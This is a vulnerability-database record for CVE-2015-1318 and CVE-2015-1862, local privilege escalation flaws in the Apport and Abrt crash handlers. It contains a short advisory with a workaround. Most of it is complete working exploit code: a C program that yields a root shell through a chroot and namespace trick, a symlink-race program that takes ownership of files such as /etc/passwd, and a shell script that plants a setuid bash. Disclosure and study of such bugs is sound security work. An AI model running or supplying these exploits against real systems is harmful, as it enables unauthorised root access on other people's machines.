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{"id": "PACKETSTORM:131429", "vendorId": null, "type": "packetstorm", "bulletinFamily": "exploit", "title": "Abrt / Apport Race Condition / Symlink", "description": "", "published": "2015-04-15T00:00:00", "modified": "2015-04-15T00:00:00", "cvss": {"vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/", "score": 7.2}, "cvss2": {}, "cvss3": {}, "href": "https://packetstormsecurity.com/files/131429/Abrt-Apport-Race-Condition-Symlink.html", "reporter": "Tavis Ormandy", "references": [], "cvelist": ["CVE-2015-1318", "CVE-2015-1862"], "immutableFields": [], "lastseen": "2016-12-05T22:17:16", "viewCount": 25, "enchantments": {"score": {"value": -0.5, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2015-1318", "CVE-2015-1862"]}, {"type": "exploitdb", "idList": ["EDB-ID:36747", "EDB-ID:36782", "EDB-ID:43971", "EDB-ID:44097"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:0EE3CCC19BA93F89F621C2116CB5B5DE", "EXPLOITPACK:767CA460F9FEE37E25A7E0C4A1A2E575", "EXPLOITPACK:CF772575B19CFD9EB560BCCD1B58D729"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT-LINUX-LOCAL-ABRT_RACEABRT_PRIV_ESC-", "MSF:EXPLOIT-LINUX-LOCAL-APPORT_ABRT_CHROOT_PRIV_ESC-"]}, {"type": "nessus", "idList": ["UBUNTU_USN-2569-1.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310842169"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:131422", "PACKETSTORM:131423", "PACKETSTORM:146235", "PACKETSTORM:146411"]}, {"type": "ubuntu", "idList": ["USN-2569-1"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2015-1318"]}, {"type": "zdt", "idList": ["1337DAY-ID-23511", "1337DAY-ID-23512", "1337DAY-ID-29699"]}]}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2015-1318"]}, {"type": "exploitdb", "idList": ["EDB-ID:36747"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:767CA460F9FEE37E25A7E0C4A1A2E575"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:131422", "PACKETSTORM:131423"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2015-1318"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2015-1318", "epss": "0.000630000", "percentile": "0.254730000", "modified": "2023-03-15"}, {"cve": "CVE-2015-1862", "epss": "0.000490000", "percentile": "0.152940000", "modified": "2023-03-15"}], "vulnersScore": -0.5}, "_state": {"dependencies": 1678911500, "score": 1678911848, "epss": 1678921929}, "_internal": {"score_hash": "0666d5abf1b469a6ae0802a22f3eb600"}, "sourceHref": "https://packetstormsecurity.com/files/download/131429/apportabrt-issues.txt", "sourceData": "`Hello, this is CVE-2015-1318 and CVE-2015-1862 (essentially the same bugs in \ntwo different implementations, apport and abrt respectively). These were \ndiscussed on the vendors list last week. \n \nIf the first character of kern.core_pattern sysctl is a pipe, the kernel \nwill invoke the specified program, and pass it the core on stdin. Apport \n(Ubuntu) and Abrt (Fedora) use this feature to analyze and log crashes. \n \nSince the introduction of containers, Abrt and Apport have attempted to \ntransparently handle namespaces by chrooting into the same root as the \ncrashing program [1] [2]. Unfortunately, this is incorrect because root \ncannot safely execve() after a chroot into a user specified directory. \n \nFurthermore, Abrt suffers from numerous race conditions and symlink problems \nfrom trusting unprivileged programs. For example, the code below (and lots \nof similar code) is vulnerable to a filesystem race where a user unlinks the \nfile after the copy but before the chown. \n \nhttps://github.com/abrt/abrt/blob/master/src/hooks/abrt-hook-ccpp.c#L634 \n \nstrcpy(source_filename + source_base_ofs, \"maps\"); \nstrcpy(dest_base, FILENAME_MAPS); \ncopy_file(source_filename, dest_filename, DEFAULT_DUMP_DIR_MODE); \nIGNORE_RESULT(chown(dest_filename, dd->dd_uid, dd->dd_gid)); \n \nThis code trusts various symlinks in /tmp without validation: \n \nhttps://github.com/abrt/abrt/blob/master/src/hooks/abrt-hook-ccpp.c#L806 \n \nchar *java_log = xasprintf(\"/tmp/jvm-%lu/hs_error.log\", (long)pid); \nint src_fd = open(java_log, O_RDONLY); \nfree(java_log); \n \nThis code trusts the /proc/pid/exe symlink, even though it is possible to \nlink it anywhere you want. \n \nhttps://github.com/abrt/abrt/blob/master/src/hooks/abrt-hook-ccpp.c#L368 \n \nsprintf(buf, \"/proc/%lu/exe\", (long)pid); \nint src_fd_binary = open(buf, O_RDONLY); /* might fail and \nreturn -1, it's ok */ \n \nThis code trusts the attacker controlled root symlink and copies files from \nit. \n \nhttps://github.com/abrt/libreport/blob/master/src/lib/dump_dir.c#L671 \n \nif (chroot_dir) \ncopy_file_from_chroot(dd, FILENAME_OS_INFO_IN_ROOTDIR, \nchroot_dir, \"/etc/os-release\"); \n \nThis instructs librpm to trust an unprivileged root symlink: \n \nhttps://github.com/abrt/abrt/blob/master/src/daemon/rpm.c#L184 \n \nif (rpmtsSetRootDir(*ts, rootdir_or_NULL) != 0) \n{ \nrpmtsFree(*ts); \nreturn -1; \n} \n \nAnd so on. \n \nThere are other automatic crash analysis scripts, I believe systemd also has \none - I haven't looked at it all. \n \nWORKAROUND \n \nI highly recommend setting `sysctl -w kern.core_pattern=core`. \n \nEXPLOITATION \n \nTwo demonstration exploits are attached. \n \nThe file `newpid.c` should produce a root shell on Fedora 20 or Ubuntu by \ninvoking the crash handler inside an unprivileged chroot (possible since \nkernel 3.8). \n \n$ gcc -static newpid.c \n$ ./a.out \nuid=0(root) gid=0(root) groups=0(root) \nsh-4.3# exit \nexit \n \nThe file `raceabrt.c` should make you the owner of any file on Fedora by \nracing the Abrt report creation. \n \n$ cat /etc/fedora-release \nFedora release 21 (Twenty One) \n$ ./a.out /etc/passwd \nDetected ccpp-2015-04-13-17:40:31-5506.new, attempting to race... \n[ wait a few minutes ] \nexploit successful... \n-rw-r--r--. 1 taviso abrt 2421 Apr 13 11:15 /etc/passwd \n \nIn case it isn't obvious, you can then give yourself uid zero. \n \n$ getent passwd taviso \ntaviso:x:1000:1000:Tavis Ormandy:/home/taviso:/bin/bash \n$ vi /etc/passwd \n$ getent passwd taviso \ntaviso:x:0:0:Tavis Ormandy:/home/taviso:/bin/bash \n$ su taviso \nPassword: \n# id \nuid=0(root) gid=0(root) groups=0(root) \nexit \n \nREFERENCES \n \n[1] https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893 \n[2] https://github.com/abrt/abrt/pull/810 \n[3] http://man7.org/linux/man-pages/man7/user_namespaces.7.html \n \nCREDIT \n \nTavis Ormandy, Google Project Zero. \n \n \nbegin 644 newpid.c \nM(V1E9FEN92!?1TY57U-/55)#10HC:6YC;'5D92`\\<W1D:6\\N:#X*(VEN8VQU \nM9&4@/'5N:7-T9\"YH/@HC:6YC;'5D92`\\<W1D;&EB+F@^\"B-I;F-L=61E(#QF \nM8VYT;\"YH/@HC:6YC;'5D92`\\<VEG;F%L+F@^\"B-I;F-L=61E(#QE;&8N:#X* \nM(VEN8VQU9&4@/&5R<BYH/@HC:6YC;'5D92`\\<WES;&]G+F@^\"B-I;F-L=61E \nM(#QS8VAE9\"YH/@HC:6YC;'5D92`\\;&EN=7@O<V-H960N:#X*(VEN8VQU9&4@ \nM/'-Y<R]T>7!E<RYH/@HC:6YC;'5D92`\\<WES+W-T870N:#X*(VEN8VQU9&4@ \nM/'-Y<R]A=7AV+F@^\"B-I;F-L=61E(#QS>7,O=V%I=\"YH/@H*(R!W87)N:6YG \nM('1H:7,@9FEL92!M=7-T(&)E(&-O;7!I;&5D('=I=&@@+7-T871I8PH*+R\\* \nM+R\\@07!P;W)T+T%B<G0@5G5L;F5R86)I;&ET>2!$96UO($5X<&QO:70N\"B\\O \nM\"B\\O(\"!!<'!O<G0Z($-612TR,#$U+3$S,3@*+R\\@($%B<G0Z(\"`@0U9%+3(P \nM,34M,3@V,@HO+R`*+R\\@(\"`M+2!T879I<V]`8VUP>&-H9SAB+F-O;2P@07!R \nM:6P@,C`Q-2X*+R\\*+R\\@)\"!G8V,@+7-T871I8R!N97=P:60N8PHO+R`D(\"XO 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\nM+\"`F<W1A='5S+\"`P*2`A/2!P:60I('L*(\"`@(\"`@(\"`@(\"`@97)R*$58251? \nM1D%)3%5212P@(G=A:71P:60@9F%I;'5R92(I.PH@(\"`@(\"`@('T*\"B`@(\"`@ \nM(\"`@+R\\@0VQE86X@=7`@=&AE('1E;7!O<F%R>2!N86UE+@H@(\"`@(\"`@(&EF \nM(\"AU;FQI;FLH;F5W;F%M92D@(3T@,\"D@>PH@(\"`@(\"`@(\"`@(\"!E<G(H15A) \nM5%]&04E,55)%+\"`B9F%I;&5D('1O(&-L96%N('5P(BD[\"B`@(\"`@(\"`@?0H* \nM(\"`@(\"`@(\"`O+R!-86ME('-U<F4@:70@8W)A<VAE9\"!A<R!E>'!E8W1E9\"X* \nM(\"`@(\"`@(\"!I9B`H(5=)1E-)1TY!3$5$*'-T871U<RDI('L*(\"`@(\"`@(\"`@ \nM(\"`@97)R>\"A%6$E47T9!24Q54D4L(\")S;VUE=&AI;F<@=V5N=\"!W<F]N9R(I \nG.PH@(\"`@(\"`@('T*(\"`@('T*\"B`@(\"!R971U<FX@8VAI;&0[\"GT* \n` \nend \n \n \n \n`\n"}

{"exploitpack": [{"lastseen": "2020-04-01T19:04:04", "description": "\nApportAbrt (Ubuntu Fedora) - Local Privilege Escalation", "cvss3": {}, "published": "2015-04-14T00:00:00", "type": "exploitpack", "title": "ApportAbrt (Ubuntu Fedora) - Local Privilege Escalation", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-1318", "CVE-2015-1862"], "modified": "2015-04-14T00:00:00", "id": "EXPLOITPACK:CF772575B19CFD9EB560BCCD1B58D729", "href": "", "sourceData": "#define _GNU_SOURCE\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <signal.h>\n#include <elf.h>\n#include <err.h>\n#include <syslog.h>\n#include <sched.h>\n#include <linux/sched.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <sys/auxv.h>\n#include <sys/wait.h>\n\n# warning this file must be compiled with -static\n\n//\n// Apport/Abrt Vulnerability Demo Exploit.\n//\n// Apport: CVE-2015-1318\n// Abrt: CVE-2015-1862\n// \n// -- taviso@cmpxchg8b.com, April 2015.\n//\n// $ gcc -static newpid.c\n// $ ./a.out\n// uid=0(root) gid=0(root) groups=0(root)\n// sh-4.3# exit\n// exit\n//\n// Hint: To get libc.a,\n// yum install glibc-static or apt-get install libc6-dev\n//\n\nint main(int argc, char **argv)\n{\n int status;\n Elf32_Phdr *hdr;\n pid_t wrapper;\n pid_t init;\n pid_t subprocess;\n unsigned i;\n\n // Verify this is a static executable by checking the program headers for a\n // dynamic segment. Originally I thought just checking AT_BASE would work,\n // but that isnt reliable across many kernels.\n hdr = (void *) getauxval(AT_PHDR);\n\n // If we find any PT_DYNAMIC, then this is probably not a static binary.\n for (i = 0; i < getauxval(AT_PHNUM); i++) {\n if (hdr[i].p_type == PT_DYNAMIC) {\n errx(EXIT_FAILURE, \"you *must* compile with -static\");\n }\n }\n\n // If execution reached here, it looks like we're a static executable. If\n // I'm root, then we've convinced the core handler to run us, so create a\n // setuid root executable that can be used outside the chroot.\n if (getuid() == 0) {\n if (chown(\"sh\", 0, 0) != 0)\n exit(EXIT_FAILURE);\n\n if (chmod(\"sh\", 04755) != 0)\n exit(EXIT_FAILURE);\n\n return EXIT_SUCCESS;\n }\n\n // If I'm not root, but euid is 0, then the exploit worked and we can spawn\n // a shell and cleanup.\n if (setuid(0) == 0) {\n system(\"id\");\n system(\"rm -rf exploit\");\n execlp(\"sh\", \"sh\", NULL);\n\n // Something went wrong.\n err(EXIT_FAILURE, \"failed to spawn root shell, but exploit worked\");\n }\n\n // It looks like the exploit hasn't run yet, so create a chroot.\n if (mkdir(\"exploit\", 0755) != 0\n || mkdir(\"exploit/usr\", 0755) != 0\n || mkdir(\"exploit/usr/share\", 0755) != 0\n || mkdir(\"exploit/usr/share/apport\", 0755) != 0\n || mkdir(\"exploit/usr/libexec\", 0755) != 0) {\n err(EXIT_FAILURE, \"failed to create chroot directory\");\n }\n\n // Create links to the exploit locations we need.\n if (link(*argv, \"exploit/sh\") != 0\n || link(*argv, \"exploit/usr/share/apport/apport\") != 0 // Ubuntu\n || link(*argv, \"exploit/usr/libexec/abrt-hook-ccpp\") != 0) { // Fedora\n err(EXIT_FAILURE, \"failed to create required hard links\");\n }\n\n // Create a subprocess so we don't enter the new namespace.\n if ((wrapper = fork()) == 0) {\n\n // In the child process, create a new pid and user ns. The pid\n // namespace is only needed on Ubuntu, because they check for %P != %p\n // in their core handler. On Fedora, just a user ns is sufficient.\n if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)\n err(EXIT_FAILURE, \"failed to create new namespace\");\n\n // Create a process in the new namespace.\n if ((init = fork()) == 0) {\n\n // Init (pid 1) signal handling is special, so make a subprocess to\n // handle the traps.\n if ((subprocess = fork()) == 0) {\n // Change /proc/self/root, which we can do as we're privileged\n // within the new namepace.\n if (chroot(\"exploit\") != 0) {\n err(EXIT_FAILURE, \"chroot didnt work\");\n }\n\n // Now trap to get the core handler invoked.\n __builtin_trap();\n\n // Shouldn't happen, unless user is ptracing us or something.\n err(EXIT_FAILURE, \"coredump failed, were you ptracing?\");\n }\n\n // If the subprocess exited with an abnormal signal, then everything worked.\n if (waitpid(subprocess, &status, 0) == subprocess) \n return WIFSIGNALED(status)\n ? EXIT_SUCCESS\n : EXIT_FAILURE;\n\n // Something didn't work.\n return EXIT_FAILURE;\n }\n\n // The new namespace didn't work.\n if (waitpid(init, &status, 0) == init)\n return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS\n ? EXIT_SUCCESS\n : EXIT_FAILURE;\n\n // Waitpid failure.\n return EXIT_FAILURE;\n }\n\n // If the subprocess returned sccess, the exploit probably worked, reload\n // with euid zero.\n if (waitpid(wrapper, &status, 0) == wrapper) {\n // All done, spawn root shell.\n if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {\n execl(*argv, \"w00t\", NULL);\n }\n }\n\n // Unknown error.\n errx(EXIT_FAILURE, \"unexpected result, cannot continue\");\n}", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-01T19:04:04", "description": "\nApport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation", "cvss3": {}, "published": "2015-04-17T00:00:00", "type": "exploitpack", "title": "Apport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-1318"], "modified": "2015-04-17T00:00:00", "id": "EXPLOITPACK:0EE3CCC19BA93F89F621C2116CB5B5DE", "href": "", "sourceData": "#!/bin/sh\n#\n# CVE-2015-1318\n# \n# Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758\n# \n# Example:\n#\n# % uname -a\n# Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux\n#\n# % lsb_release -a\n# No LSB modules are available.\n# Distributor ID: Ubuntu\n# Description: Ubuntu 14.04.2 LTS\n# Release: 14.04\n# Codename: trusty\n#\n# % dpkg -l | grep '^ii apport ' | awk -F ' ' '{ print $2 \" \" $3 }'\n# apport 2.14.1-0ubuntu3.8\n#\n# % id\n# uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...)\n#\n# % ./apport.sh\n# pwned-4.3# id\n# uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...)\n# pwned-4.3# exit\n\nTEMPDIR=$(mktemp -d)\n\ncd ${TEMPDIR}\n\ncp /bin/busybox .\n\nmkdir -p dev mnt usr/share/apport\n\n(\ncat << EOF\n#!/busybox sh\n(\ncp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned\nchmod 5755 /mnt/1/root/tmp/pwned\n) \nEOF\n\n) > usr/share/apport/apport\n\nchmod +x usr/share/apport/apport\n\n(\ncat << EOF\nmount -o bind . .\ncd .\nmount --rbind /proc mnt\ntouch dev/null\npivot_root . .\n./busybox sleep 500 &\nSLEEP=\\$!\n./busybox sleep 1\n./busybox kill -11 \\$SLEEP\n./busybox sleep 5\nEOF\n) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \\\n lxc-unshare -s \"MOUNT|PID|NETWORK|UTSNAME|IPC\" -- /bin/sh 2>&1 >/dev/null\n\n/tmp/pwned -p\n\nrm -Rf ${TEMPDIR}", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-01T19:04:00", "description": "\nAbrt (Fedora 21) - Race Condition", "cvss3": {"exploitabilityScore": 1.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.0, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2015-04-14T00:00:00", "type": "exploitpack", "title": "Abrt (Fedora 21) - Race Condition", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 6.9, "vectorString": "AV:L/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-1862"], "modified": "2015-04-14T00:00:00", "id": "EXPLOITPACK:767CA460F9FEE37E25A7E0C4A1A2E575", "href": "", "sourceData": "#include <stdlib.h>\n#include <unistd.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <signal.h>\n#include <err.h>\n#include <string.h>\n#include <alloca.h>\n#include <limits.h>\n#include <sys/inotify.h>\n#include <sys/prctl.h>\n#include <sys/types.h>\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <sys/stat.h>\n\n//\n// This is a race condition exploit for CVE-2015-1862, targeting Fedora.\n//\n// Note: It can take a few minutes to win the race condition.\n//\n// -- taviso@cmpxchg8b.com, April 2015.\n//\n// $ cat /etc/fedora-release \n// Fedora release 21 (Twenty One)\n// $ ./a.out /etc/passwd\n// [ wait a few minutes ]\n// Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race...\n// Didn't win, trying again!\n// Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race...\n// Didn't win, trying again!\n// Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race...\n// Didn't win, trying again!\n// Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race...\n// Didn't win, trying again!\n// Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race...\n// Exploit successful...\n// -rw-r--r--. 1 taviso abrt 1751 Sep 26 2014 /etc/passwd\n//\n\nstatic const char kAbrtPrefix[] = \"/var/tmp/abrt/\";\nstatic const size_t kMaxEventBuf = 8192;\nstatic const size_t kUnlinkAttempts = 8192 * 2;\nstatic const int kCrashDelay = 10000;\n\nstatic pid_t create_abrt_events(const char *name);\n\nint main(int argc, char **argv)\n{\n int fd, i;\n int watch;\n pid_t child;\n struct stat statbuf;\n struct inotify_event *ev;\n char *eventbuf = alloca(kMaxEventBuf);\n ssize_t size;\n\n // First argument is the filename user wants us to chown().\n if (argc != 2) {\n errx(EXIT_FAILURE, \"please specify filename to chown (e.g. /etc/passwd)\");\n }\n\n // This is required as we need to make different comm names to avoid\n // triggering abrt rate limiting, so we fork()/execve() different names.\n if (strcmp(argv[1], \"crash\") == 0) {\n __builtin_trap();\n }\n\n // Setup inotify, and add a watch on the abrt directory.\n if ((fd = inotify_init()) < 0) {\n err(EXIT_FAILURE, \"unable to initialize inotify\");\n }\n\n if ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) {\n err(EXIT_FAILURE, \"failed to create new watch descriptor\");\n }\n\n // Start causing crashes so that abrt generates reports.\n if ((child = create_abrt_events(*argv)) == -1) {\n err(EXIT_FAILURE, \"failed to generate abrt reports\");\n }\n\n // Now start processing inotify events.\n while ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) {\n\n // We can receive multiple events per read, so check each one.\n for (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) {\n char dirname[NAME_MAX];\n char mapsname[NAME_MAX];\n char command[1024];\n\n // If this is a new ccpp report, we can start trying to race it.\n if (strncmp(ev->name, \"ccpp\", 4) != 0) {\n continue;\n }\n\n // Construct pathnames.\n strncpy(dirname, kAbrtPrefix, sizeof dirname);\n strncat(dirname, ev->name, sizeof dirname);\n\n strncpy(mapsname, dirname, sizeof dirname);\n strncat(mapsname, \"/maps\", sizeof mapsname);\n\n fprintf(stderr, \"Detected %s, attempting to race...\\n\", ev->name);\n\n // Check if we need to wait for the next event or not.\n while (access(dirname, F_OK) == 0) {\n for (i = 0; i < kUnlinkAttempts; i++) {\n // We need to unlink() and symlink() the file to win.\n if (unlink(mapsname) != 0) {\n continue;\n }\n\n // We won the first race, now attempt to win the\n // second race....\n if (symlink(argv[1], mapsname) != 0) {\n break;\n }\n\n // This looks good, but doesn't mean we won, it's possible\n // chown() might have happened while the file was unlinked.\n //\n // Give it a few microseconds to run chown()...just in case\n // we did win.\n usleep(10);\n\n if (stat(argv[1], &statbuf) != 0) {\n errx(EXIT_FAILURE, \"unable to stat target file %s\", argv[1]);\n }\n\n if (statbuf.st_uid != getuid()) {\n break;\n }\n\n fprintf(stderr, \"\\tExploit successful...\\n\");\n\n // We're the new owner, run ls -l to show user.\n sprintf(command, \"ls -l %s\", argv[1]);\n system(command);\n\n return EXIT_SUCCESS;\n }\n }\n\n fprintf(stderr, \"\\tDidn't win, trying again!\\n\");\n }\n }\n\n err(EXIT_FAILURE, \"failed to read inotify event\");\n}\n\n// This routine attempts to generate new abrt events. We can't just crash,\n// because abrt sanely tries to rate limit report creation, so we need a new\n// comm name for each crash.\nstatic pid_t create_abrt_events(const char *name)\n{\n char *newname;\n int status;\n pid_t child, pid;\n\n // Create a child process to generate events.\n if ((child = fork()) != 0)\n return child;\n\n // Make sure we stop when parent dies.\n prctl(PR_SET_PDEATHSIG, SIGKILL);\n\n while (true) {\n // Choose a new unused filename\n newname = tmpnam(0);\n\n // Make sure we're not too fast.\n usleep(kCrashDelay);\n\n // Create a new crashing subprocess.\n if ((pid = fork()) == 0) {\n if (link(name, newname) != 0) {\n err(EXIT_FAILURE, \"failed to create a new exename\");\n }\n\n // Execute crashing process.\n execl(newname, newname, \"crash\", NULL);\n\n // This should always work.\n err(EXIT_FAILURE, \"unexpected execve failure\");\n }\n\n // Reap crashed subprocess.\n if (waitpid(pid, &status, 0) != pid) {\n err(EXIT_FAILURE, \"waitpid failure\");\n }\n\n // Clean up the temporary name.\n if (unlink(newname) != 0) {\n err(EXIT_FAILURE, \"failed to clean up\");\n }\n\n // Make sure it crashed as expected.\n if (!WIFSIGNALED(status)) {\n errx(EXIT_FAILURE, \"something went wrong\");\n }\n }\n\n return child;\n}", "cvss": {"score": 6.9, "vector": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2016-12-05T22:17:18", "description": "", "cvss3": {}, "published": "2015-04-15T00:00:00", "type": "packetstorm", "title": "Linux Apport/Abrt Local Root Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-1318", "CVE-2015-1862"], "modified": "2015-04-15T00:00:00", "id": "PACKETSTORM:131423", "href": "https://packetstormsecurity.com/files/131423/Linux-Apport-Abrt-Local-Root-Exploit.html", "sourceData": "`#define _GNU_SOURCE \n#include <stdio.h> \n#include <unistd.h> \n#include <stdlib.h> \n#include <fcntl.h> \n#include <signal.h> \n#include <elf.h> \n#include <err.h> \n#include <syslog.h> \n#include <sched.h> \n#include <linux/sched.h> \n#include <sys/types.h> \n#include <sys/stat.h> \n#include <sys/auxv.h> \n#include <sys/wait.h> \n \n# warning this file must be compiled with -static \n \n// \n// Apport/Abrt Vulnerability Demo Exploit. \n// \n// Apport: CVE-2015-1318 \n// Abrt: CVE-2015-1862 \n// \n// -- taviso@cmpxchg8b.com, April 2015. \n// \n// $ gcc -static newpid.c \n// $ ./a.out \n// uid=0(root) gid=0(root) groups=0(root) \n// sh-4.3# exit \n// exit \n// \n// Hint: To get libc.a, \n// yum install glibc-static or apt-get install libc6-dev \n// \n \nint main(int argc, char **argv) \n{ \nint status; \nElf32_Phdr *hdr; \npid_t wrapper; \npid_t init; \npid_t subprocess; \nunsigned i; \n \n// Verify this is a static executable by checking the program headers for a \n// dynamic segment. Originally I thought just checking AT_BASE would work, \n// but that isnt reliable across many kernels. \nhdr = (void *) getauxval(AT_PHDR); \n \n// If we find any PT_DYNAMIC, then this is probably not a static binary. \nfor (i = 0; i < getauxval(AT_PHNUM); i++) { \nif (hdr[i].p_type == PT_DYNAMIC) { \nerrx(EXIT_FAILURE, \"you *must* compile with -static\"); \n} \n} \n \n// If execution reached here, it looks like we're a static executable. If \n// I'm root, then we've convinced the core handler to run us, so create a \n// setuid root executable that can be used outside the chroot. \nif (getuid() == 0) { \nif (chown(\"sh\", 0, 0) != 0) \nexit(EXIT_FAILURE); \n \nif (chmod(\"sh\", 04755) != 0) \nexit(EXIT_FAILURE); \n \nreturn EXIT_SUCCESS; \n} \n \n// If I'm not root, but euid is 0, then the exploit worked and we can spawn \n// a shell and cleanup. \nif (setuid(0) == 0) { \nsystem(\"id\"); \nsystem(\"rm -rf exploit\"); \nexeclp(\"sh\", \"sh\", NULL); \n \n// Something went wrong. \nerr(EXIT_FAILURE, \"failed to spawn root shell, but exploit worked\"); \n} \n \n// It looks like the exploit hasn't run yet, so create a chroot. \nif (mkdir(\"exploit\", 0755) != 0 \n|| mkdir(\"exploit/usr\", 0755) != 0 \n|| mkdir(\"exploit/usr/share\", 0755) != 0 \n|| mkdir(\"exploit/usr/share/apport\", 0755) != 0 \n|| mkdir(\"exploit/usr/libexec\", 0755) != 0) { \nerr(EXIT_FAILURE, \"failed to create chroot directory\"); \n} \n \n// Create links to the exploit locations we need. \nif (link(*argv, \"exploit/sh\") != 0 \n|| link(*argv, \"exploit/usr/share/apport/apport\") != 0 // Ubuntu \n|| link(*argv, \"exploit/usr/libexec/abrt-hook-ccpp\") != 0) { // Fedora \nerr(EXIT_FAILURE, \"failed to create required hard links\"); \n} \n \n// Create a subprocess so we don't enter the new namespace. \nif ((wrapper = fork()) == 0) { \n \n// In the child process, create a new pid and user ns. The pid \n// namespace is only needed on Ubuntu, because they check for %P != %p \n// in their core handler. On Fedora, just a user ns is sufficient. \nif (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0) \nerr(EXIT_FAILURE, \"failed to create new namespace\"); \n \n// Create a process in the new namespace. \nif ((init = fork()) == 0) { \n \n// Init (pid 1) signal handling is special, so make a subprocess to \n// handle the traps. \nif ((subprocess = fork()) == 0) { \n// Change /proc/self/root, which we can do as we're privileged \n// within the new namepace. \nif (chroot(\"exploit\") != 0) { \nerr(EXIT_FAILURE, \"chroot didnt work\"); \n} \n \n// Now trap to get the core handler invoked. \n__builtin_trap(); \n \n// Shouldn't happen, unless user is ptracing us or something. \nerr(EXIT_FAILURE, \"coredump failed, were you ptracing?\"); \n} \n \n// If the subprocess exited with an abnormal signal, then everything worked. \nif (waitpid(subprocess, &status, 0) == subprocess) \nreturn WIFSIGNALED(status) \n? EXIT_SUCCESS \n: EXIT_FAILURE; \n \n// Something didn't work. \nreturn EXIT_FAILURE; \n} \n \n// The new namespace didn't work. \nif (waitpid(init, &status, 0) == init) \nreturn WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS \n? EXIT_SUCCESS \n: EXIT_FAILURE; \n \n// Waitpid failure. \nreturn EXIT_FAILURE; \n} \n \n// If the subprocess returned sccess, the exploit probably worked, reload \n// with euid zero. \nif (waitpid(wrapper, &status, 0) == wrapper) { \n// All done, spawn root shell. \nif (WIFEXITED(status) && WEXITSTATUS(status) == 0) { \nexecl(*argv, \"w00t\", NULL); \n} \n} \n \n// Unknown error. \nerrx(EXIT_FAILURE, \"unexpected result, cannot 